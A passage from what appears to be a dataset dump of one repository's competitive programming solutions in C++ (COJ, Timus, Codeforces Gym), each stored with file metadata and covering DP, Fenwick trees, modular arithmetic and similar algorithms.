mat &M) {\r\n\t\tmat r;\r\n\t\tr.nul();\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tfor (int k = 0; k < SIZE; k++)\r\n\t\t\t\t\tr.m[i][j] = (r.m[i][j] + ((m[i][k] * M.m[k][j]) % mod)) % mod;\r\n\t\treturn r;\r\n\t}\r\n\tvoid print() {\r\n for (int i = 0; i < SIZE; i++) {\r\n for (int j = 0; j < SIZE; j++)\r\n printf(\"%lld \", m[i][j]);\r\n printf(\"\\n\");\r\n }\r\n\t}\r\n};\r\n\r\nmat exp(mat x, ll n) {\r\n\tmat r;\r\n\tr.idem();\r\n\twhile (n) {\r\n\t\tif (n & 1ll) r = r * x;\r\n\t\tx = x * x;\r\n\t\tn >>= 1ll;\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nint n;\r\nmat M;\r\n\r\nint main() {\r\n\tM.ut();\r\n\twhile (scanf(\"%d\", &n) && n) {\r\n\t\tmat res = exp(M, n);\r\n\t\t//res.print();\r\n\t\tprintf(\"%lld\\n\", (res.m[0][0] + res.m[0][1] + res.m[0][2]) % mod);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3244147300720215, "alphanum_fraction": 0.3528428077697754, "avg_line_length": 19.35714340209961, "blob_id": "57e329323cf2bac1abf251998beb0273d9c48928", "content_id": "b2e1b00ea2935b5ac5c54bea3064ff31a316f182", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 598, "license_type": "no_license", "max_line_length": 71, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p3192-Accepted-s784237.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int mod = 1e9 + 7;\r\nconst int N = 250;\r\n\r\nint dp[N + 5][N + 5];\r\n\r\nint main() {\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n dp[0][0] = 1;\r\n for (int i = 0; i < N; i++) {\r\n for (int j = 0; j <= N; j++) {\r\n for (int k = 0; j + k <= N; k++) {\r\n dp[i + 1][j + k] = (dp[i + 1][j + k] + dp[i][j]) % mod;\r\n }\r\n }\r\n }\r\n int t, n, k;\r\n cin >> t;\r\n while (t--) {\r\n cin >> n >> k;\r\n cout << dp[k][n] << \"\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.46568626165390015, "alphanum_fraction": 0.47385621070861816, "avg_line_length": 14.54054069519043, "blob_id": "f84b033f33380dc150e5ced291ff61a301df7100", "content_id": "117c13708885b2d8ad2d504ea9c0322b4b567593", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 612, "license_type": "no_license", "max_line_length": 67, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p1477-Accepted-s1055649.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nmap <int, bool> memo;\r\n\r\nbool win(int cur, long long lim) {\r\n\tif (cur >= lim) {\r\n\t\treturn false;\r\n\t}\r\n\tif (memo.find(cur) != memo.end()) {\r\n\t\treturn memo[cur];\r\n\t}\r\n\tfor (int i = 2; i <= 9; i++) {\r\n\t\tif (!win(cur * i, lim)) {\r\n\t\t\tmemo[cur] = true;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\tmemo[cur] = false;\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n int n;\r\n cin >> n;\r\n memo.clear();\r\n\t\tcout << ((win(1, n) | (n == 1)) ? \"Stan\" : \"Ollie\") << \" wins\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.34102025628089905, "alphanum_fraction": 0.3724668025970459, "avg_line_length": 17.14666748046875, "blob_id": "9d371501925324ff1e54622c0b888e52221a0401", "content_id": "98b2b6a26e4d76a7c93fbc3645907093d4d4975d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1431, "license_type": "no_license", "max_line_length": 66, "num_lines": 75, "path": "/Timus/1470-6172741.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1470\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 128;\r\n\r\nlong long bit[N + 2][N + 2][N + 2];\r\n\r\nint n;\r\n\r\nvoid update(int x, int y, int z, int v) {\r\n\tfor (int i = x; i <= n; i += i & -i) {\r\n\t\tfor (int j = y; j <= n; j += j & -j) {\r\n\t\t\tfor (int k = z; k <= n; k += k & -k) {\r\n\t\t\t\tbit[i][j][k] += v;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nlong long query(int x, int y, int z) {\r\n\tlong long res = 0;\r\n\tfor (int i = x; i > 0; i -= i & -i) {\r\n\t\tfor (int j = y; j > 0; j -= j & -j) {\r\n\t\t\tfor (int k = z; k > 0; k -= k & -k) {\r\n\t\t\t\tres += bit[i][j][k];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint x[2], y[2], z[2], v;\r\nint tipo;\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\twhile (cin >> tipo) {\r\n\t\tif (tipo == 1) {\r\n\t\t\tcin >> x[0] >> y[0] >> z[0] >> v;\r\n\t\t\tupdate(x[0] + 1, y[0] + 1, z[0] + 1, v);\r\n\t\t} else if (tipo == 2) {\r\n\t\t\tfor (int i = 0; i < 2; i++) {\r\n\t\t\t\tcin >> x[i] >> y[i] >> z[i];\r\n\t\t\t\tif (i) {\r\n\t\t\t\t\tx[i]++;\r\n\t\t\t\t\ty[i]++;\r\n\t\t\t\t\tz[i]++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tlong long ans = 0;\r\n\t\t\tfor (int i = 0; i < 8; i++) {\r\n\t\t\t\tint cnt = 0;\r\n\t\t\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\t\t\tif (i & (1 << j)) {\r\n\t\t\t\t\t\tcnt++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif (cnt & 1) {\r\n\t\t\t\t\tans += query(x[bool(i & 1)], y[bool(i & 2)], z[bool(i & 4)]);\r\n\t\t\t\t} else {\r\n\t\t\t\t\tans -= query(x[bool(i & 1)], y[bool(i & 2)], z[bool(i & 4)]);\r\n\t\t\t\t}\r\n\r\n\t\t\t}\r\n\t\t\tcout << ans << \"\\n\";\r\n\t\t} else {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n}" }, { "alpha_fraction": 0.38805970549583435, "alphanum_fraction": 0.43283581733703613, "avg_line_length": 14.433961868286133, "blob_id": "cc49fd4d57ef6c84487432dfef7d9b451a50cb4f", "content_id": "1c7eabc13d905ad4642da1c99d88fc6b6b499053", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 871, "license_type": "no_license", "max_line_length": 51, "num_lines": 53, "path": "/COJ/eliogovea-cojAC/eliogovea-p3130-Accepted-s819892.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int N = 1000000;\r\n\r\nconst ll mod = 1000000007;\r\n\r\nll f[N + 5];\r\n\r\nll power(ll x, ll n) {\r\n\tll res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1LL) {\r\n\t\t\tres = (res * x) % mod;\r\n\t\t}\r\n\t\tx = (x * x) % mod;\r\n\t\tn >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nll C(int n, int p) {\r\n\tll res = f[n];\r\n\tres = (res * power(f[p], mod - 2)) % mod;\r\n\tres = (res * power(f[n - p], mod - 2)) % mod;\r\n\treturn res;\r\n}\r\n\r\nint n, c[1005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tf[0] = 1;\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tf[i] = (1LL * i * f[i - 1]) % mod;\r\n\t}\r\n\tcin >> n;\r\n\tll ans = 1;\r\n\tint sum = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> c[i];\r\n\t\tif (i > 1) {\r\n\t\t\tans = (ans * C(sum + c[i] - 1, c[i] - 1)) % mod;\r\n\t\t}\r\n\t\tsum += c[i];\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3151892125606537, "alphanum_fraction": 0.3333333432674408, "avg_line_length": 20.920454025268555, "blob_id": "d4c295f3bb90dbca187d234ae5cce31bca3508a2", "content_id": "9a0be895c66cfa41860512c09210d922077c783b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1929, "license_type": "no_license", "max_line_length": 93, "num_lines": 88, "path": "/COJ/Copa-UCI-2018/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ninline double eval(double x, double v, double t) {\n return x + v * t;\n}\n\ninline double calct(double x1, double v1, double x2, double v2) {\n return (x2 - x1) / (v1 - v2);\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n cout.precision(7);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n int n;\n cin >> n;\n\n vector <int> sx(n);\n vector <int> sv(n);\n int top = 0;\n\n bool ok = false;\n double ans;\n\n for (int i = 0; i < n; i++) {\n int x, v;\n cin >> x >> v;\n\n if (v < 0) {\n if (top == 0) {\n continue;\n }\n int pos = 0;\n int lo = 1;\n int hi = top - 1;\n\n while (lo <= hi) {\n int mid = (lo + hi) >> 1;\n if (calct(x, v, sx[mid], sv[mid]) <= calct(x, v, sx[mid - 1], sv[mid - 1])) {\n pos = mid;\n lo = mid + 1;\n } else {\n hi = mid - 1;\n }\n }\n\n double t = calct(x, v, sx[pos], sv[pos]);\n\n if (!ok || ans > t) {\n ok = true;\n ans = t;\n }\n } else {\n while (top > 0 && v > sv[top - 1]) {\n top--;\n }\n\n while (top > 1) {\n double lt = calct(sx[top - 2], sv[top - 2], sx[top - 1], sv[top - 1]);\n // double xt = eval(sx[top - 2], sv[top - 2], lt);\n double t = calct(x, v, sx[top - 2], sv[top - 2]);\n // double xx = eval(x, v, t);\n\n if (lt >= t) {\n top--;\n } else {\n break;\n }\n }\n\n sx[top] = x;\n sv[top] = v;\n top++;\n }\n }\n\n if (!ok) {\n cout << \"-1\\n\";\n } else {\n cout << fixed << ans << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.3536345660686493, "alphanum_fraction": 0.40275049209594727, "avg_line_length": 13.515151977539062, "blob_id": "3ecbda76c4cf223aeabcf4c896938fb8cf10c926", "content_id": "83a070403d326c7e38fd4434edbe66cc5ab144d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 509, "license_type": "no_license", "max_line_length": 34, "num_lines": 33, "path": "/Timus/1079-6268519.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1079\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 99999;\r\n\r\nint a[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\ta[0] = 0;\r\n\ta[1] = 1;\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tif (i & 1) {\r\n\t\t\ta[i] = a[i / 2] + a[i / 2 + 1];\r\n\t\t} else {\r\n\t\t\ta[i] = a[i / 2];\r\n\t\t}\r\n\t}\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tif (a[i] < a[i - 1]) {\r\n\t\t\ta[i] = a[i - 1];\r\n\t\t}\r\n\t}\r\n\tint n;\r\n\twhile (cin >> n && n) {\r\n\t\tcout << a[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3784804046154022, "alphanum_fraction": 0.4100990891456604, "avg_line_length": 25.160493850708008, "blob_id": "13e6acd94e1832cacf13c7fc90bfa6e5fb109d2e", "content_id": "e1a4d8b3cb80b29d5f91af180680a85bee6245c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2119, "license_type": "no_license", "max_line_length": 86, "num_lines": 81, "path": "/Codeforces-Gym/100486 - 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)\n// 100486H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstring line;\n\nconst int N = 105;\n\nbool solved[N][N];\n\nvector <long long> num;\nvector <char> op;\n\nlong long dp_max[N][N];\nlong long dp_min[N][N];\n\nvoid solve(int l, int r) {\n if (solved[l][r]) {\n return;\n }\n solved[l][r] = true;\n if (l == r) {\n dp_min[l][r] = num[l];\n dp_max[l][r] = num[l];\n return;\n }\n long long vmin = -1;\n long long vmax = -1;\n for (int i = l; i + 1 <= r; i++) {\n solve(l, i);\n solve(i + 1, r);\n if (op[i] == '*') {\n long long tmp1 = dp_min[l][i] * dp_min[i + 1][r];\n if (vmin == -1 || tmp1 < vmin) vmin = tmp1;\n long long tmp2 = dp_max[l][i] * dp_max[i + 1][r];\n if (vmax == -1 || tmp2 > vmax) vmax = tmp2;\n } else {\n long long tmp1 = dp_min[l][i] + dp_min[i + 1][r];\n if (vmin == -1 || tmp1 < vmin) vmin = tmp1;\n long long tmp2 = dp_max[l][i] + dp_max[i + 1][r];\n if (vmax == -1 || tmp2 > vmax) vmax = tmp2;\n }\n\n }\n //cout << l << \" \" << r << \" \" << vmin << \" \" << vmax << \"\\n\";\n dp_min[l][r] = vmin;\n dp_max[l][r] = vmax;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n while (getline(cin, line)) {\n if (line == \"END\") break;\n num.clear();\n op.clear();\n for (int i = 0, cur = 0; i <= line.size(); i++) {\n if (line[i] < '0' || line[i] > '9') {\n num.push_back(cur);\n if (!line[i]) break;\n op.push_back(line[i]);\n cur = 0;\n } else {\n cur = 10 * cur + line[i] - '0';\n }\n }\n\n for (int i = 0; i < num.size(); i++) {\n for (int j = i; j < num.size(); j++) {\n solved[i][j] = false;\n }\n }\n solve(0, num.size() - 1);\n\n cout << dp_min[0][num.size() - 1] << \" \" << dp_max[0][num.size() - 1] << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.3941798806190491, "alphanum_fraction": 0.44973546266555786, "avg_line_length": 19, "blob_id": "6b5e8f4694b8beccd73b1a599a6794f1abb5ad6b", "content_id": "c2a3b886bbe140068c91509066bbd0e389706354", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 378, "license_type": "no_license", "max_line_length": 55, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p2333-Accepted-s629429.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef unsigned long long ull;\r\n\r\null n, k, dp[20][3];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> n >> k;\r\n\tdp[1][0] = (ull)(k - 1);\r\n\tdp[1][1] = 0;\r\n\tfor (int i = 2; i <= n; i++) {\r\n\t\tdp[i][0] = (k - 1ll) * (dp[i - 1][0] + dp[i - 1][1]);\r\n\t\tdp[i][1] = dp[i - 1][0];\r\n\t}\r\n\tcout << dp[n][0] + dp[n][1] << endl;\r\n}\r\n" }, { "alpha_fraction": 0.40210843086242676, "alphanum_fraction": 0.4231927692890167, "avg_line_length": 13.880952835083008, "blob_id": "c2d52b9ef66ef41b8aa134429e72b414bf4515fd", "content_id": "e7b87ca6e0475db8111a7517eaa9df7b4d452e77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 664, "license_type": "no_license", "max_line_length": 39, "num_lines": 42, "path": "/Timus/1110-6291346.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1110\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, m, x, y;\r\n\r\nint power(int x, int n, int m) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = (res * x) % m;\r\n\t\t}\r\n\t\tx = (x * x) % m;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> m >> y;\r\n\tvector<int> ans;\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tif (y == power(i, n, m)) {\r\n\t\t\tans.push_back(i);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < ans.size(); i++) {\r\n\t\tcout << ans[i];\r\n\t\tif (i + 1 < ans.size()) {\r\n\t\t\tcout << \" \";\r\n\t\t}\r\n\t}\r\n\tif (ans.size() == 0) {\r\n cout << \"-1\";\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.2833240330219269, "alphanum_fraction": 0.3284997344017029, "avg_line_length": 24.614286422729492, "blob_id": "4101d89e83800aaf24c3275c8c0275797b119100", "content_id": "ab292cf992cb4735d0d5672fbacfcbe912ee14fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1793, "license_type": "no_license", "max_line_length": 141, "num_lines": 70, "path": "/Caribbean-Training-Camp-2017/Contest_3/Solutions/B3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\n\nint n;\nlong long rx, ry;\nlong long cnt[4][4];\n\nint main()\n{\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> n;\n long long ans = 0;\n for (int i = 1; i <= n; i++) {\n cin >> rx >> ry;\n int x = abs(rx % 2LL);\n int y = abs(ry % 2LL);\n for (int px1 = 0; px1 < 2; px1++) {\n for (int py1 = 0; py1 < 2; py1++) {\n for (int px2 = 0; px2 < 2; px2++) {\n for (int py2 = 0; py2 < 2; py2++) {\n if (!( px1 < px2 || ( px1 == px2 && py1 <= py2 ) )) {\n continue;\n }\n int xx1 = (px1 != x);\n int yy1 = (py1 != y);\n int xx2 = (px2 != x);\n int yy2 = (py2 != y);\n if (xx1 * yy2 == xx2 * yy1) {\n // cerr << px1 << \" \" << px2 << \" \" << py1 << \" \" << py2 << \" \" << cnt[px1][py1] << \" \" << cnt[px2][py2] << \"\\n\";\n if (px1 == px2 && py1 == py2) {\n ans += cnt[px1][py1] * (cnt[px1][py1] - 1LL) / 2LL;\n } else {\n ans += cnt[px1][py1] * cnt[px2][py2];\n }\n // cerr << ans << \"\\n\";\n }\n }\n }\n }\n }\n cnt[x][y]++;\n }\n cout << ans << \"\\n\";\n}\n\n/*#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 300100;\nconst int MAX = 1000005;\n\ntypedef pair<int,int> par;\n\nint main()\n{\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n freopen(\"dat.txt\", \"r\", stdin);\n\n\n}\n*/\n" }, { "alpha_fraction": 0.3541666567325592, "alphanum_fraction": 0.38749998807907104, "avg_line_length": 17.45945930480957, "blob_id": "c44d2c33c603be5e06977ed98ac98e320958d341", "content_id": "957f0964f554546a9901fad4efc585c22f84c684", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 720, "license_type": "no_license", "max_line_length": 42, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p3676-Accepted-s959379.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tint t;\r\n\tcin >> t;\r\n\tfor (int cas = 1; cas <= t; cas++) {\r\n cout << \"Case \" << cas << \": \";\r\n\t\tstring n;\r\n\t\tcin >> n;\r\n\t\treverse(n.begin(), n.end());\r\n\t\tint carry = 0;\r\n\t\tfor (int i = 0; i < n.size(); i++) {\r\n\t\t\tcarry += 2 * (n[i] - '0');\r\n\t\t\tn[i] = '0' + (carry % 10);\r\n\t\t\tcarry /= 10;\r\n\t\t}\r\n\t\twhile (carry > 0) {\r\n\t\t\tn += '0' + (carry % 10);\r\n\t\t\tcarry /= 10;\r\n\t\t}\r\n\t\tif (n.size() == 1) {\r\n cout << \"0\";\r\n\t\t}\r\n\t\tfor (int i = n.size() - 1; i > 0; i--) {\r\n\t\t\tcout << n[i];\r\n\t\t}\r\n\t\tif (n[0] != '0') {\r\n\t\t\tcout << \",\" << n[0];\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39523810148239136, "alphanum_fraction": 0.4047619104385376, "avg_line_length": 13, "blob_id": "d329fa77880cc235c66002edba338a055a52f079", "content_id": "9be66fb619eb35803b7fb86ccf1722eca3681e67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 210, "license_type": "no_license", "max_line_length": 29, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2925-Accepted-s625609.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nint tc, a, b, s;\r\n\r\nint main() {\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> a >> b;\r\n\t\ts = 0;\r\n\t\twhile (a > b) s++, a >>= 1;\r\n\t\tcout << s + b - a << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3522595465183258, "alphanum_fraction": 0.3800695240497589, "avg_line_length": 17.177778244018555, "blob_id": "0ccd42c39b2597f16b67ed1764687d7b7157b143", "content_id": "3eb792bfc85dcaf3d8fb466601112e814c22ce35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 863, "license_type": "no_license", "max_line_length": 71, "num_lines": 45, "path": "/COJ/eliogovea-cojAC/eliogovea-p1739-Accepted-s758003.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 2005;\r\n\r\nstring s;\r\nbool dp[N][N];\r\nlong long start[N], finish[N];\r\n\r\nint main() {\r\n\tcin >> s;\r\n\tint n = s.size();\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tdp[i][i] = true;\r\n\t}\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tdp[i - 1][i] = (s[i - 1] == s[i]);\r\n\t}\r\n\tfor (int l = 3; l <= n; l++) {\r\n\t\tfor (int i = 0; i + l - 1 < n; i++) {\r\n\t\t\tdp[i][i + l - 1] = (dp[i + 1][i + l - 2] && (s[i] == s[i + l - 1]));\r\n\t\t}\r\n\t}\r\n\tlong long t = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = i; j < n; j++) {\r\n\t\t\tif (dp[i][j]) {\r\n\t\t\t\tt++;\r\n\t\t\t\tstart[i]++;\r\n\t\t\t\tfinish[j]++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tt = (t * (t - 1LL)) / 2LL;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tfinish[i] += finish[i - 1];\r\n\t}\r\n\tlong long x = 0;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tx += start[i] * finish[i - 1];\r\n\t}\r\n\tlong long ans = t - x;\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.40860214829444885, "alphanum_fraction": 0.49193549156188965, "avg_line_length": 10.82758617401123, "blob_id": "5be8fd84bf424a013dd70a0af15b307c39c01276", "content_id": "ed636abd493ba86eabf7f690b25ef6de6c0a90d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 372, "license_type": "no_license", "max_line_length": 36, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p2120-Accepted-s548615.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 5010\r\n\r\nint dp[MAXN],a,b,digit;\r\n\r\nbool is(int n)\r\n{\r\n\tbool arr[10]={0,0,0,0,0,0,0,0,0,0};\r\n\r\n\twhile(n)\r\n\t{\r\n\t\tdigit=n%10;\r\n\t\tif(arr[digit])return 0;\r\n\t\tarr[digit]=1;\r\n\t\tn/=10;\r\n\t}\r\n\treturn 1;\r\n}\r\n\r\n\r\n\r\nint main()\r\n{\r\n\tfor(int i=1; i<=5000; i++)\r\n\t\tdp[i]=dp[i-1]+is(i);\r\n\r\n\twhile(scanf(\"%d%d\",&a,&b)==2)\r\n\t\tprintf(\"%d\\n\",dp[b]-dp[a-1]);\r\n}\r\n" }, { "alpha_fraction": 0.3989431858062744, "alphanum_fraction": 0.41743725538253784, "avg_line_length": 13.448979377746582, "blob_id": "d7e6d62e70631a4ff0824e4b765e51330adac69b", "content_id": "0a68eacac770ac3a744fd61def47c38b29d7a2a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 757, "license_type": "no_license", "max_line_length": 37, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p3700-Accepted-s967696.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n;\r\n\tLL k;\r\n\tcin >> n >> k;\r\n\tLL lo = 1;\r\n\tLL hi = n;\r\n\tLL x = lo;\r\n\twhile (lo <= hi) {\r\n\t\tLL mid = (lo + hi) / 2LL;\r\n\t\tif (mid * (mid - 1LL) / 2LL <= k) {\r\n\t\t\tx = mid;\r\n\t\t\tlo = mid + 1LL;\r\n\t\t} else {\r\n\t\t\thi = mid - 1LL;\r\n\t\t}\r\n\t}\r\n\tLL d = k - x * (x - 1LL) / 2LL;\r\n\tvector <int> ans;\r\n\tint y = x;\r\n\twhile (ans.size() < x - d) {\r\n\t\tans.push_back(y);\r\n\t\ty--;\r\n\t}\r\n\tans.push_back(x + 1);\r\n\twhile (y >= 1) {\r\n\t\tans.push_back(y);\r\n\t\ty--;\r\n\t}\r\n\tx += 2;\r\n\twhile (x <= n) {\r\n\t\tans.push_back(x);\r\n\t\tx++;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcout << ans[i];\r\n\t\tif (i + 1 < n) {\r\n\t\t\tcout << \" \";\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.5276243090629578, "alphanum_fraction": 0.530386745929718, "avg_line_length": 17.052631378173828, "blob_id": "d7389475b4f530b2ae9ed7c200cd1aa4dbf4e2e0", "content_id": "1716f4874a239581554a50908abe096c421970ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 362, "license_type": "no_license", "max_line_length": 43, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p2843-Accepted-s615495.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nint n, mx, cant;\r\nvector<int> v;\r\nvector<int>::iterator it;\r\n\r\nint main() {\r\n\twhile (cin >> n) {\r\n\t\tfor (it = v.begin(); it != v.end(); it++)\r\n\t\t\tmx = max(mx, __gcd(*it, n));\r\n\t\tv.push_back(n);\r\n\t\tcant++;\r\n\t}\r\n\tif (cant == 1) cout << n << endl;\r\n\telse cout << mx << endl;\r\n}\r\n" }, { "alpha_fraction": 0.3127792775630951, "alphanum_fraction": 0.3476318120956421, "avg_line_length": 18.29310417175293, "blob_id": "711e396e349ec1af6c502075a1ed4bfd8e14366f", "content_id": "285d1b74aa93cd0c3aba9c76ba067ace4c29ef8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1119, "license_type": "no_license", "max_line_length": 115, "num_lines": 58, "path": "/Codeforces-Gym/101116 - 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)\n// 101116B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 500;\n\nstring s[MAXN];\nint r[MAXN], 